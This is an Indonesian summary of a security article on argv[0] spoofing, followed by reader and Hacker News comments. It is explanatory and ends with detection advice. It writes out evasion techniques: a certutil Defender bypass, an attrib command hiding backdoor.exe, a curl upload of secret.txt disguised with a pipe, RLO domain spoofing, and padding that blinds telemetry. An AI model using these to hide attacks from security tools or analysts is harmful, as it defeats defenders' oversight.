Mengapa menggunakan argv[0]?
(wietzebeukema.nl)- Baris perintah (command line) itu aneh
- Windows sangat terkenal karena masalah seperti ini, tetapi cara sebagian besar sistem operasi mengimplementasikan baris perintah juga dapat menimbulkan masalah keamanan
- Artikel ini menjelaskan problem dari konvensi yang mencadangkan argumen pertama baris perintah proses,
argv[0], untuk merepresentasikan nama proses
argv[0] adalah peninggalan masa lalu
- Saat program dimulai, ia menerima argumen baris perintah dan membuatnya dapat diakses dari dalam program; ini memang salah satu informasi pertama yang diberikan saat program dijalankan
- Ini adalah mekanisme utama untuk mengubah alur eksekusi program
- Jika melihat keluarga system call
execyang diadopsi di POSIX dan DOS/Win32int execv(const char *path, char *const argv[]);- Untuk memanggil fungsi execv ini, program harus memberikan path lengkap aplikasi yang akan dijalankan sebagai
path, dan vektor berisi argumen sebagaiargv, lalu mengembalikan integer yang berisi kode status - Menurut spesifikasi ini, jika program berhasil dijalankan sebagai hasil dari pemanggilan tersebut, program target akan dipanggil melalui
int main (int argc, char *argv[]);
- Dalam semua standar C,
argctidak negatif,argv[argc]adalah null pointer, dan jikaargclebih besar dari 0 makaargv[0]merepresentasikan nama program yang dipanggil - Sebagian orang mungkin mempertanyakan perlunya
argv[0]- "Proses baru jelas tahu namanya sendiri, jadi mengapa harus dikirim sebagai argumen proses pertama dari proses yang memanggilnya?"
- Di lingkungan POSIX, program dapat dipanggil melalui symbolic link, sehingga ini menjadi cara agar proses baru tahu permintaan seperti apa yang diterimanya
- Misalnya,
shutdowndanrebootdi Debian ditautkan ke executablesystemctlyang sama, dan berperilaku berbeda tergantung perintah yang dipanggil
- Ini tampak seperti keputusan desain yang meragukan
- "Haruskah program berperilaku berbeda berdasarkan namanya sendiri?"
- Dari sudut pandang modern, ini menurunkan prediktabilitas software dan tampak bertentangan dengan prinsip desain modern
- Dari sudut pandang era 1970-1980-an, ini bisa dianggap upaya meminimalkan duplikasi karena sumber daya komputer saat itu terbatas
- Namun sekarang, masalah ruang disk tidak terlalu menonjol. Misalnya, di macOS Sonoma,
shutdowndanrebootada sebagai executable terpisah - Ada perdebatan apakah benar perlu menggabungkan dua program yang mirip ke dalam satu file, atau apakah pendekatan argumen perintah lebih tepat
- Bahkan jika prinsip ini diterima, implementasinya sendiri juga masih diperdebatkan
- Dipertanyakan apakah informasi
argv[0]harus diberikan sebagai bagian dari argumen proses - Program yang bergantung pada
argv[0]bisa gagal jika proses pemanggil tidak mengaturnya dengan benar - Ada juga program yang menggunakan
argv[0]dengan cara yang keliru dalam konteks keamanan - Pendekatan yang lebih baik adalah memisahkan
argv[0]ketask_structatau fitur PEB terpisah agar sistem operasi yang mengelola nilai ini- Ini memungkinkan pelacakan yang konsisten dan mengurangi ruang untuk manipulasi
- Dipertanyakan apakah informasi
- OS yang paling mendekati pendekatan ini justru Windows
- Tidak seperti sistem operasi arus utama lainnya, Windows tidak mengatur
argv[0]saat membuat proses baru - Panggilan API Windows (
CreateProcess,ShellExecute) mengaturargv[0]secara otomatis berdasarkan path executable - Walaupun ini tampak sebagai implementasi yang paling masuk akal, Windows juga mengadopsi pemanggilan
execala POSIX sehingga tetap ada cara untuk mengaturargv[0]secara manual
- Tidak seperti sistem operasi arus utama lainnya, Windows tidak mengatur
argv[0] diabaikan (dalam kebanyakan kasus)
- Terlepas dari bagaimana Anda memandang pentingnya
argv[0], dalam praktiknyaargv[0]memang ada dan membawa masalah - Dalam pemanggilan
exec, dua kondisi pertama yang disebut sebelumnya ditangani oleh sistem operasi, tetapi kondisi terakhir yang terkaitargv[0]tidak dikelola - Karena pemanggil
execmengendalikan penuhargv, persyaratan ini bisa diabaikan, dan baik sistem operasi maupun program pemanggil/yang dipanggil tidak memeriksa pelanggaran ini - Contoh pengabaian
argv[0]- Untuk mencetak Hello, world! dengan
echo, biasanya dipanggilexecv("/usr/bin/echo", ["echo", "Hello, world!"]) - Tetapi meskipun memanggil
execv("/usr/bin/echo", ["oopsie", "Hello, world!"]), programechotetap berjalan normal dan mencetak Hello, world! - Program
echobekerja dengan mengabaikanargv[0]dan hanya fokus pada argumen mulai dariargv[1] - Sebagian besar program mengambil pendekatan serupa dan mengabaikan
argv[0]
- Untuk mencetak Hello, world! dengan
- Contoh manipulasi
argv[0]- Banyak bahasa pemrograman dan scripting, termasuk C, menyediakan cara untuk memanipulasi
argv[0]:
python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])" perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"' ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')" bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here' - Banyak bahasa pemrograman dan scripting, termasuk C, menyediakan cara untuk memanipulasi
- Memanipulasi
argv[0]itu mudah dan pada umumnya tidak memengaruhi eksekusi sebagian besar program. Namun, dari sisi keamanan ini bisa menjadi masalah
argv[0] dapat meruntuhkan mekanisme pertahanan
argv[0]dapat digunakan untuk menipu software keamanan. Jika pengguna jahat berhasil mengompromikan sistem, mereka akan mengeksekusi perintah penyerang untuk memanipulasi sistem- Software pertahanan seperti AV dan EDR memantau eksekusi proses, lalu mendeteksi atau memblokirnya bila perintah tertentu dianggap berbahaya. Sebagian besar solusi secara aktif mendeteksi perintah yang sering digunakan penyerang
- Contoh: penyalahgunaan perintah
certutilcertutil, alat command line bawaan Windows, sering dipakai dalam serangan. Setelah mendapatkan akses awal, alat ini dimanfaatkan untuk mengunduh payload eksternal.- Microsoft Defender Antivirus memblokir eksekusi
certutiljika ada argumen command line yang menunjukkan upaya mengunduh file. Namun, jikacertutildijalankan denganargv[0]diatur menjadi spasi, Defender tidak memblokirnya - Ini menunjukkan masalah ketika deteksi keamanan menganggap nama program sebagai bagian dari command line. Misalnya, jika logika deteksi disusun seperti
command_line.contains('certutil') AND command_line.contains('-urlcache'), ada asumsi bahwacertutiladalah bagian dari command line. Namun, logika ini bisa dilewati dengan memanipulasiargv[0] - Logika deteksi yang lebih efektif adalah menyusunnya seperti
process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
- Bypass deteksi melalui
argv[0]- Bypass deteksi juga bisa dilakukan dengan menambahkan keyword tuning ke
argv[0]. Deteksi umumnya menggabungkan kondisi dasar dengan kondisi tambahan untuk memfilter false positive - Misalnya, aturan deteksi dapat terpicu saat
attrib.exemelakukan aksi menyembunyikan file. Namun, dalam praktiknya ia juga sering dijalankan secara sah untuk filedesktop.ini - Mengetahui hal ini, penyerang dapat menyertakan
desktop.inidiargv[0]untuk melewati deteksi. Misalnya, dapat diatur sepertiargv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']
- Bypass deteksi juga bisa dilakukan dengan menambahkan keyword tuning ke
argv[0] bisa dipakai untuk menipu
argv[0]dapat disalahgunakan bukan hanya untuk menipu software keamanan, tetapi juga manusia- Analis keamanan meninjau alert yang dihasilkan alat keamanan seperti software EDR, dan alert ini mencakup command line proses terkait
- Command line proses adalah informasi penting yang digunakan analis untuk memutuskan apakah alert perlu diselidiki lebih lanjut atau diabaikan
- Contoh: penipuan command line
- Alert untuk kemungkinan eksfiltrasi data bisa muncul saat perintah
curl -T secret.txt 123.45.67.89dijalankan. Perintah ini mengunggah filesecret.txtke alamat IP 123.45.67.89 - Dalam skenario yang sama, jika
argv[0]diubah daricurlmenjadicurl localhost | grep, itu tetap merupakan perintah yang valid. - Karena software keamanan menampilkan array command line sebagai string yang dipisahkan spasi, perintah tersebut kemungkinan besar akan terlihat sebagai
curl localhost | grep -T secret.txt 123.45.67.89 - Dari sudut pandang analis, ini bisa tampak seolah
curl localhostdijalankan lalu hasilnya diteruskan kegrep -T secret.txt 123.45.67.89. Padahal sebenarnya itu adalah aksi mengunggah informasi ke alamat jarak jauh, tetapi dibuat tampak seperti mengunduh dari alamat lokal
- Alert untuk kemungkinan eksfiltrasi data bisa muncul saat perintah
- Memanfaatkan karakter Right-To-Left Override (RLO)
- Karakter RLO (pengaturan ulang kanan-ke-kiri) yang terkenal itu juga dapat digunakan untuk memanipulasi
argv[0] - Karakter Unicode ini menginstruksikan aplikasi perender untuk menampilkan karakter setelahnya dalam urutan terbalik
- Dengan menyisipkan RLO ke
argv[0],ping moc.elgoog.some-evil-website.combisa dibuat tampak sepertiping moc.etisbew-live-emos.google.com - Cara ini tidak memengaruhi logika deteksi, tetapi berpotensi menipu analis
- Karakter RLO (pengaturan ulang kanan-ke-kiri) yang terkenal itu juga dapat digunakan untuk memanipulasi
- Teknik-teknik seperti ini menunjukkan berbagai cara
argv[0]dapat dimanipulasi untuk menyembunyikan aktivitas berbahaya dengan menipu software keamanan dan mata manusia
argv[0] dapat merusak telemetri
- Karena
argv[0]berada di bagian paling awal command line, jikaargv[0]diisi dengan cukup banyak karakter maka semua argumen lain bisa terdorong ke bagian akhir command line - Ini bermasalah karena dua alasan: pertama, bagian yang menarik bisa ‘disembunyikan’ di akhir command line agar analis tidak menggulir sampai sana; yang lebih penting, total panjang command line bisa dibuat cukup besar sehingga software pemantauan memotong argumen yang sebenarnya penting
- Batas panjang command line
- Sejak Windows 7, panjang maksimum command line di Windows dibatasi hingga 14.336 karakter (sekitar 14 KiB)
- Di kernel Linux, panjang maksimum di-hardcode menjadi 32 ukuran halaman, yakni sekitar 131.072 karakter (128 KiB) pada arsitektur 64-bit
- macOS Sonoma mengizinkan command line hingga maksimum 1.048.576 karakter (1 MiB)
- Ini berarti ada ruang arbitrer yang sangat besar yang bisa ditempati
argv[0]
- Contoh kerusakan telemetri
- Software pemantauan proses (misalnya EDR) bisa saja merekam seluruh eksekusi command line yang panjang, atau memotongnya pada panjang tetap untuk mengurangi overhead
- Jika command line panjang direkam seluruhnya, cukup dengan menjalankan 1.000 proses menggunakan panjang command line maksimum saja sudah bisa menghasilkan 1GiB data log
- Jika pemotongan diterapkan, argumen command line bisa terpotong dari telemetri. Misalnya, perintah
perl -e 'exec {"echo"} "_"x50000, "Hello, world!"'akan mencetak “Hello, world!”, tetapi telemetri eksekusinya mungkin hanya merekam underscore, atau dalam beberapa kasus malah command line kosong sepenuhnya - Akibatnya, argumen command line yang sebenarnya penting menjadi tidak terlihat, sehingga logika deteksi dan analis tidak dapat memahami apa yang benar-benar terjadi
Risiko argv[0]: pencegahan dan deteksi
argv[0]menyelesaikan satu masalah dengan menimbulkan banyak masalah lain- Karena kecil kemungkinan
argv[0]akan segera hilang, dari sudut pandang keamanan perlu fokus pada cara menanganinya - Langkah pencegahan
- Pengembang software dapat membandingkan apakah
argv[0]cocok dengan nama file miliknya untuk memeriksa adanya manipulasi, tetapi ini tidak terlalu skalabel - Sistem operasi dapat melakukan pemeriksaan ini dengan lebih andal. Mengandalkan
argv[0]untuk mengubah alur program sangat tidak direkomendasikan - Sebaiknya pengembang sebisa mungkin tidak berinteraksi dengan
argv[0]
- Pengembang software dapat membandingkan apakah
- Metode deteksi untuk profesional keamanan
- Menyadari cara kerja dan masalah
argv[0]adalah langkah penting untuk mencegah penipuan command line - Jika software keamanan menyediakan argumen command line sebagai array, pola tertentu bisa diidentifikasi dengan andal
- Nilai
argv[0]yang terlalu panjang, atau yang memuat karakter mencurigakan seperti pipe, harus segera ditandai sebagai mencurigakan - Bahkan jika argumen command line diberikan sebagai string, command line yang tidak memuat nama program dapat tetap ditandai. Ini mengindikasikan bahwa
argv[0]telah dimanipulasi - Keberadaan karakter RLO sendiri merupakan metode deteksi yang sangat efektif di sebagian besar lingkungan
- Untuk argumen command line yang terpotong, penting untuk memahami bagaimana solusi keamanan dan data lake menanganinya, serta dampaknya terhadap telemetri yang dihasilkan
- Menyadari cara kerja dan masalah
- Peningkatan pada software pertahanan
- Software pertahanan perlu meningkatkan deteksi atas penyalahgunaan
argv[0]. Menjalankan software dengan nilaiargv[0]yang mencurigakan seharusnya bisa diblokir tanpa menimbulkan false positive - Platform EDR juga perlu mempertimbangkan untuk tidak menyertakan
argv[0]saat melaporkan argumen command line. Ini menghilangkan sebagian besar masalah yang disorot dalam artikel ini, dan dalam banyak kasus nilai forensiknya juga rendah
- Software pertahanan perlu meningkatkan deteksi atas penyalahgunaan
- Pada akhirnya, tidak ada yang ingin pusing gara-gara
argv[0]. Software kita juga demikian
Ringkasan GN⁺
argv[0]adalah peninggalan masa lalu yang bertentangan dengan prinsip desain software modern- Sebagian besar program mengabaikan
argv[0], tetapi ini tetap dapat menimbulkan masalah keamanan argv[0]dapat menipu software keamanan dan manusia, serta merusak telemetri- Profesional keamanan perlu mendeteksi penyalahgunaan
argv[0], dan software pertahanan harus menanganinya dengan lebih baik
2 komentar
Mungkin karena saya sudah orang lama.. saya kurang begitu sependapat dengan argumen penulis. Masalahnya ada pada
exec, tetapi rasanya imbasnya malah dilempar keargv[0].Opini Hacker News
Keberatan terhadap pembacaan
argv[0]menunjukkan ketidaktahuan penulis atau perlunya pertahanan yang kuatargv[0]layak dipertimbangkanargv[0]digunakan sebagai target symbolic link untuk ratusan perintahMelalui alat yang menggunakan
argv[0], perintah host dapat dijalankan dari dalam containerTidak masalah jika program berperilaku berbeda tergantung namanya
Keberatan terhadap
argv[0]diklaim bertentangan dengan prinsip desain modernargv[0]untuk memeriksa apakah ia berada di dalam virtualenv dan menyesuaikan jalur pencarianargv[0]tidak secara khusus buruk dari sudut pandang keamananargvargv[0]tidak bermasalahargv[0]untuk membedakan versi perintahbusybox menggunakan
argv[0]dalam mode 'shim'macOS mengatur beberapa perintah agar menunjuk ke satu executable
argv[0]meningkatkan kegunaan CLI dan mengurangi duplikasi kodeMenghapus
argv[0]akan membuat fitur yang berguna hilangargv[0]dihapus, penyerang akan menemukan cara lain